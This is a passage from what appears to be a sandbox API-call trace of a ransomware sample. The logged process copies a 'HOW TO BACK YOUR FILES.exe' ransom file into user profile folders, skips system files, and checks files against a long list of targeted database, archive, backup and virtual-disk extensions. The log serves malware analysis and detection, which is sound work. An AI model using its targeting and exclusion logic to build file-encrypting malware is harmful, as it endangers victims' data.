hHeap=0x4f0000) returned 1 [0053.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.675] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf8e700, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.675] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.675] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.675] lstrcmpiW (lpString1="Links", lpString2=".") returned 1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="..") returned 1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1 [0053.675] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1 [0053.675] lstrlenW (lpString="Links") returned 5 [0053.675] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Links" | out: lpString1="Links") returned="Links" [0053.675] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Links", dwFileAttributes=0x10) returned 1 [0053.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7b8 [0053.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52ecf0 [0053.676] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0053.676] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0053.676] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.678] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2=".") returned 1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="..") returned 1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="windows") returned -1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="bootmgr") returned 1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="temp") returned -1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="pagefile.sys") returned -1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="boot") returned 1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ids.txt") returned 1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ntuser.dat") returned -1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="perflogs") returned -1 [0053.678] lstrcmpiW (lpString1="Microsoft Websites", lpString2="MSBuild") returned -1 [0053.678] lstrlenW (lpString="Microsoft Websites") returned 18 [0053.678] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Microsoft Websites" | out: lpString1="Microsoft Websites") returned="Microsoft Websites" [0053.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7a0 [0053.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519910 [0053.678] lstrcatW (in: lpString1="Microsoft Websites", lpString2="\\" | out: lpString1="Microsoft Websites\\") returned="Microsoft Websites\\" [0053.678] lstrcatW (in: lpString1="Microsoft Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Websites\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Websites\\HOW TO BACK YOUR FILES.exe" [0053.678] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.682] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2=".") returned 1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="..") returned 1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="windows") returned -1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="bootmgr") returned 1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="temp") returned -1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="pagefile.sys") returned -1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="boot") returned 1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="ids.txt") returned 1 [0053.682] lstrcmpiW (lpString1="MSN Websites", lpString2="ntuser.dat") returned -1 [0053.683] lstrcmpiW (lpString1="MSN Websites", lpString2="perflogs") returned -1 [0053.683] lstrcmpiW (lpString1="MSN Websites", lpString2="MSBuild") returned 1 [0053.683] lstrlenW (lpString="MSN Websites") returned 12 [0053.683] lstrcpyW (in: lpString1=0x241e8a0, lpString2="MSN Websites" | out: lpString1="MSN Websites") returned="MSN Websites" [0053.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c740 [0053.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502328 [0053.683] lstrcatW (in: lpString1="MSN Websites", lpString2="\\" | out: lpString1="MSN Websites\\") returned="MSN Websites\\" [0053.683] lstrcatW (in: lpString1="MSN Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSN Websites\\HOW TO BACK YOUR FILES.exe") returned="MSN Websites\\HOW TO BACK YOUR FILES.exe" [0053.683] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.686] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2=".") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="..") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="windows") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="bootmgr") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="temp") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="pagefile.sys") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="boot") returned 1 [0053.686] lstrcmpiW (lpString1="Windows Live", lpString2="ids.txt") returned 1 [0053.687] lstrcmpiW (lpString1="Windows Live", lpString2="ntuser.dat") returned 1 [0053.687] lstrcmpiW (lpString1="Windows Live", lpString2="perflogs") returned 1 [0053.687] lstrcmpiW (lpString1="Windows Live", lpString2="MSBuild") returned 1 [0053.687] lstrlenW (lpString="Windows Live") returned 12 [0053.687] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Windows Live" | out: lpString1="Windows Live") returned="Windows Live" [0053.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad80 [0053.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5023a8 [0053.687] lstrcatW (in: lpString1="Windows Live", lpString2="\\" | out: lpString1="Windows Live\\") returned="Windows Live\\" [0053.687] lstrcatW (in: lpString1="Windows Live\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Live\\HOW TO BACK YOUR FILES.exe") returned="Windows Live\\HOW TO BACK YOUR FILES.exe" [0053.687] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.690] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0053.690] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.690] ReleaseMutex (hMutex=0xec) returned 1 [0053.690] CloseHandle (hObject=0xec) returned 1 [0053.690] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Links" | out: lpString1="C:\\Documents and Settings\\Default\\Links") returned="C:\\Documents and Settings\\Default\\Links" [0053.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516000 | out: hHeap=0x4f0000) returned 1 [0053.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c7d0 | out: hHeap=0x4f0000) returned 1 [0053.690] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Links") returned 39 [0053.690] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C94C2B6D5D230EE9CB1E31B66116DF8C") returned 0xec [0053.691] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.691] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Links" | out: lpString1="C:\\Documents and Settings\\Default\\Links") returned="C:\\Documents and Settings\\Default\\Links" [0053.691] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.691] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.691] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.691] GetLastError () returned 0x0 [0053.691] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.691] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.692] CloseHandle (hObject=0xf4) returned 1 [0053.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.692] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.692] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.692] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.692] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.692] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.692] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.692] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.693] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.693] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.693] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.693] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.693] lstrlenW (lpString="desktop.ini") returned 11 [0053.693] lstrcpyW (in: lpString1=0x241e898, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.693] lstrlenW (lpString="desktop.ini") returned 11 [0053.693] lstrlenW (lpString="Athena865") returned 9 [0053.693] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.693] lstrlenW (lpString=".dll") returned 4 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.693] lstrlenW (lpString=".lnk") returned 4 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.693] lstrlenW (lpString=".ini") returned 4 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.693] lstrlenW (lpString=".sys") returned 4 [0053.693] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.693] lstrlenW (lpString="desktop.ini") returned 11 [0053.693] lstrlenW (lpString="bak") returned 3 [0053.693] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.694] lstrlenW (lpString="ba_") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.694] lstrlenW (lpString="dbb") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.694] lstrlenW (lpString="vmdk") returned 4 [0053.694] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.694] lstrlenW (lpString="rar") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.694] lstrlenW (lpString="zip") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.694] lstrlenW (lpString="tgz") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.694] lstrlenW (lpString="vbox") returned 4 [0053.694] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.694] lstrlenW (lpString="vdi") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.694] lstrlenW (lpString="vhd") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.694] lstrlenW (lpString="vhdx") returned 4 [0053.694] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.694] lstrlenW (lpString="avhd") returned 4 [0053.694] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.694] lstrlenW (lpString="db") returned 2 [0053.694] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.694] lstrlenW (lpString="db2") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.694] lstrlenW (lpString="db3") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.694] lstrlenW (lpString="dbf") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.694] lstrlenW (lpString="mdf") returned 3 [0053.694] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.694] lstrlenW (lpString="mdb") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.695] lstrlenW (lpString="sql") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.695] lstrlenW (lpString="sqlite") returned 6 [0053.695] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.695] lstrlenW (lpString="sqlite3") returned 7 [0053.695] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.695] lstrlenW (lpString="sqlitedb") returned 8 [0053.695] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.695] lstrlenW (lpString="xml") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.695] lstrlenW (lpString="$er") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.695] lstrlenW (lpString="4dd") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.695] lstrlenW (lpString="4dl") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.695] lstrlenW (lpString="^^^") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.695] lstrlenW (lpString="abs") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.695] lstrlenW (lpString="abx") returned 3 [0053.695] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.695] lstrlenW (lpString="accdb") returned 5 [0053.695] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.695] lstrlenW (lpString="accdc") returned 5 [0053.695] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.695] lstrlenW (lpString="accde") returned 5 [0053.695] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.695] lstrlenW (lpString="accdr") returned 5 [0053.695] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.695] lstrlenW (lpString="accdt") returned 5 [0053.695] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.695] lstrlenW (lpString="accdw") returned 5 [0053.696] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.696] lstrlenW (lpString="accft") returned 5 [0053.696] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.696] lstrlenW (lpString="adb") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.696] lstrlenW (lpString="adb") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.696] lstrlenW (lpString="ade") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.696] lstrlenW (lpString="adf") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.696] lstrlenW (lpString="adn") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.696] lstrlenW (lpString="adp") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.696] lstrlenW (lpString="alf") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.696] lstrlenW (lpString="ask") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.696] lstrlenW (lpString="btr") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.696] lstrlenW (lpString="cat") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.696] lstrlenW (lpString="cdb") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.696] lstrlenW (lpString="ckp") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.696] lstrlenW (lpString="cma") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.696] lstrlenW (lpString="cpd") returned 3 [0053.696] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.696] lstrlenW (lpString="dacpac") returned 6 [0053.696] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.697] lstrlenW (lpString="dad") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.697] lstrlenW (lpString="dadiagrams") returned 10 [0053.697] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.697] lstrlenW (lpString="daschema") returned 8 [0053.697] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.697] lstrlenW (lpString="db-journal") returned 10 [0053.697] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.697] lstrlenW (lpString="db-shm") returned 6 [0053.697] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.697] lstrlenW (lpString="db-wal") returned 6 [0053.697] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.697] lstrlenW (lpString="dbc") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.697] lstrlenW (lpString="dbs") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.697] lstrlenW (lpString="dbt") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.697] lstrlenW (lpString="dbv") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.697] lstrlenW (lpString="dbx") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.697] lstrlenW (lpString="dcb") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.697] lstrlenW (lpString="dct") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.697] lstrlenW (lpString="dcx") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.697] lstrlenW (lpString="ddl") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.697] lstrlenW (lpString="dlis") returned 4 [0053.697] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.697] lstrlenW (lpString="dp1") returned 3 [0053.697] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.698] lstrlenW (lpString="dqy") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.698] lstrlenW (lpString="dsk") returned 3 [0053.698] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.698] lstrlenW (lpString="dsn") returned 3 [0053.698] 